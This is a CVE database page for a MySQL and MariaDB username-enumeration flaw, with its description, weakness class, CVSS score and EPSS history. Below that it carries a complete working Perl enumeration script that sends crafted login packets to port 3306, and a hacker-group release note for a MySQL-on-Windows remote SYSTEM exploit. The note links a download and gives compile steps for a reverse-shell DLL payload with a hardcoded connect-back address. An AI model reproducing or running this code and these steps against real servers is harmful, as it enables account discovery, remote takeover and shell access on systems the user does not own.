CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Oracle MySQL 5.5.38 and earlier, 5.6.19 and earlier, and MariaDB 5.5.28a, 5.3.11, 5.2.13, 5.1.66, and possibly other versions, generates different error messages with different time delays depending on whether a user name exists, which allows remote attackers to enumerate valid usernames.
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5
AV:N/AC:L/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
21.83%
–
–
2022-04-03
–
–
21.83%
–
–
2022-05-08
–
–
20.33%
–
–
2022-08-14
–
–
19.17%
–
–
2022-11-20
–
–
18.31%
–
–
2023-02-19
–
–
17.79%
–
–
2023-03-12
–
–
–
10.89%
–
2023-06-25
–
–
–
8.88%
–
2023-12-31
–
–
–
7.92%
–
2024-03-03
–
–
–
6.46%
–
2024-06-02
–
–
–
6.46%
–
2024-07-07
–
–
–
6.2%
–
2024-11-03
–
–
–
5.75%
–
2024-12-22
–
–
–
5.75%
–
2025-01-19
–
–
–
5.75%
–
2025-03-18
–
–
–
–
20.87%
2025-04-06
–
–
–
–
19.22%
2025-04-06
–
–
–
–
19.22,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
# MySQL User Account Enumeration Utility
# When an attacker authenticates using an incorrect password
# with the old authentication mechanism from mysql 4.x and below to a mysql 5.x server
# the mysql server will respond with a different message than Access Denied, what makes
# User Account Enumeration possible.
# The Downside is that the attacker has to reconnect for each user enumeration attempt
#20000 user accounts in 7 minutes
#Mon Jan 16 09:00:18 UTC 2012
#Mon Jan 16 09:07:26 UTC 2012
#root@vs2067037:~# wc -l MEDIUM.LST
#21109 MEDIUM.LST
#A usernames.txt wordlist is included in this package
#examples:
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt
#
#[*] HIT! -- USER EXISTS: administrator@host
#
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt
#
#[*] HIT! -- USER EXISTS: admin@host
#
use IO::Socket;
use Parallel::ForkManager;
$|=1;
if ($#ARGV != 1) {
print "Usage: mysqlenumerate.pl <target> <wordlist>\n";
exit;
}
$target = $ARGV[0];
$wordlist = $ARGV[1];
$numforks = 50;
$pm = new Parallel::ForkManager($numforks);
open FILE,"<$wordlist";
unlink '/tmp/cracked';
@users = ();
$k=0;
while(<FILE>) {
chomp;
$_ =~ s/\r//g;
$users[$k++] = $_;
}
close FILE;
$k2 = 0;
for(;;) {
for ($k=0;$k<$numforks;$k++) {
$k2++;
if (($k2 > $#users) or (-e '/tmp/cracked')) {
exit;
}
my $pid = $pm->start and next;
$user = $users[$k2];
goto further;
again:
print "Connect Error\n";
further:
my $sock = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => '3306',
Proto => 'tcp') || goto again;
recv($sock, $buff, 1024, 0);
$buf = "\x00\x00\x01\x8d\x00\x00\x00\x00$user\x00\x50".
"\x4e\x5f\x51\x55\x45\x4d\x45\x00";
$buf = chr(length($buf)-3). $buf;
print $sock $buf;
$res = recv($sock, $buff, 1024, 0);
close($sock);
if ($k2 % 100 == 0) {
print $buff."\n";
}
if (substr($buff, 7, 6) eq "Access") {$pm->finish;next;}
unless (-e '/tmp/cracked') {
open FILE, ">/tmp/cracked";
close FILE;
print "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
open FILE, ">jackpot";
print FILE "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
exit;
}
}
$pm->wait_all_children;
}
***
FARLiGHT ELiTE HACKERS LEGACY R3L3ASE
***
Attached is the MySQL Windows Remote Exploit (post-auth, udf
technique) including the previously released mass scanner.
The exploit is mirrored at the farlight website http://www.farlight.org.
Oracle MySQL on Windows Remote SYSTEM Level Exploit zeroday
All owned By Kingcope
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23073.tar.gz
Installation Instructions
=============================
1. Install mysql client libraries and headers (UNIX)
RedHat based (e.g. CentOS):
yum install mysql mysql-devel
2. Compile the standalone exploit
issue commands:
gcc mysqljackpot.c -o mysqljackpot -L/usr/lib/mysql -lmysqlclient
3. Compile the reverse shell payload (this is required!)
required because the connect back ip and port are hardcoded in the dll:
use mingw on windows or wine
change REVERSEIP and REVERSEPORT to suit your needs. If you change REVERSEPORT you have
to change the port in mysqljackpot.c too (default port: 443).
issue commands:
set PATH=%PATH%;c:\MinGW\bin\
gcc -c payload.c
gcc -shared -o payload.dll payload.o -lws2_32
copy the payload.dll into the mysqljackpot exploit folder
4. Run The Exploit
./mysqljackpot -u root -p "" -t 99.99.99.99
A valid database admin user and his password are required
for the exploit to work properly.
This exploit is especially useful when used in connection
to a MySQL login scanner, see scanner/README.mysql inside this package.
Be sure to have the firewall open on the desired reverse port
on the attacking machine.
5. Enjoy your SYSTEM Shell!!!
Yours Sincerely,
-- Kingcope